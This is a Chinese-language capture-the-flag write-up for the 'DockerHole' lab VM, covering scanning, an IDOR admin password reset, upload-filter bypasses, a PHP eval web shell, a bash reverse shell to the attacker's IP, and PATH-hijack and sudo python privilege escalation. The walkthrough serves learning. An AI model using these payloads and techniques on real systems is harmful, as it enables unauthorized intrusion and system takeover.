DockerHole

kali:192.168.174.137

给靶机生成个物理地址00:50:56:23:4C:10

image-20240407163518855

信息收集

主机发现

arp-scan -l 发现主机

image-20240407163800693

获得主机ip:192.168.174.149

端口扫描

nmap -sS -sV -T4 -n -p- 192.168.174.149

参数解释:

  1. -sS: 使用 SYN 扫描
  2. -sV: 探测开放端口上的服务版本信息。这个选项会尝试确定目标端口上运行的具体服务版本,从而可能暴露更多的关于目标系统的信息。
  3. -T4: 设置扫描的时间模板为 4。nmap 提供了不同的时间模板,从 0(最慢,最不容易被检测)到 5(最快,但最容易被防火墙或入侵检测系统检测到)。
  4. -n: 不进行 DNS 解析。这可以加快扫描速度
  5. -p-: 扫描所有端口。

image-20240407164135872

可以看到开放了两个端口

22-ssh Openssh

80-http apache 2.4.41

目录扫描

image-20240407164518989

访问的同时,在后台进行目录扫描

可以获得http://192.168.174.149/upload/推测可能有文件上传漏洞,燃火右上角有一个登陆界面,可能存在弱口令,sql注入等。

登陆界面

image-20240407172106009

简单尝试admin:admind登陆看下返回信息有没有提示,发现没有,去注册一个试试

image-20240407172304098

发现admin用户已经被注册了,后台开一个bp先爆破着,自己注册一个账号登陆上去看看有什么信息

image-20240407173200797

image-20240407173225389

可以看到,注册完有自己的信息和修改密码的功能且网址中还有个id=2,推测id=1为admin用户的界面,修改试下能不能访问

image-20240407173325093

试试抓包能不能直接修改admin的密码

image-20240407173402240

改成1后试试用admin登陆,可以看到登陆成功

image-20240407173449466

文件上传

登陆上管理员界面后发现多了个文件上传的地方,结合前面的目录,可能 存在文件上传漏洞,先试试上传自己写的一句话木马

<?php @eval($_POST['CMD']); ?>

image-20240407184027696

可以发现只允许上传jpg,png,gif这样的图片,试试绕过方法

image-20240407184400185

先试试修改类型

image-20240407184513629

上传一张正常的图片试试

image-20240407185347279

发现文件路径,访问一下也确实能出现图片

image-20240407185413474

修改下后缀试试,pphphp绕过了

image-20240407190606652

但文件并没有以php的形式保留下来,作了个图片马,也不行,试试别的方法,phtml和pchar可以

image-20240407191935091

image-20240407191959674

下面就是寻找flag的提取过程了

提权

在获取到shell的基础上,我么需要反弹shell

kali:nv -lvvp6666

shell: bash -c ‘bash -i >& /dev/tcp/192.168.174.137/6666 0>&1’

image-20240407194457299

sudo root提权

cat /etc/passwd 发现了john用户 在家目录下面发现了一个toto文件执行发现和id一样的功能

image-20240407200300090

image-20240407200340646

cd tmp
touch id
echo "/bin/bash" > id
chmod 777 id
export PATH=/tmp;$PATH
cd /home/john
./toto
cat user.txt

image-20240407201525851

然后现在我们再次执行就可以查看账号和密码文件了 直接使用SSH进行连接:john/root123

image-20240407201629653

ssh john@192.168.174.149

image-20240407201814765

echo 'import pty;pty.spawn("/bin/bash")' > file.py
cat file.py
sudo python3 /home/john/file.py
输入密码root123

image-20240407202419380

直接执行好像是不能提权的

image-20240407203015057

但他对file.py这个文件是有执行权限的,所以从这一点出发,所以才要把语句写到文件里。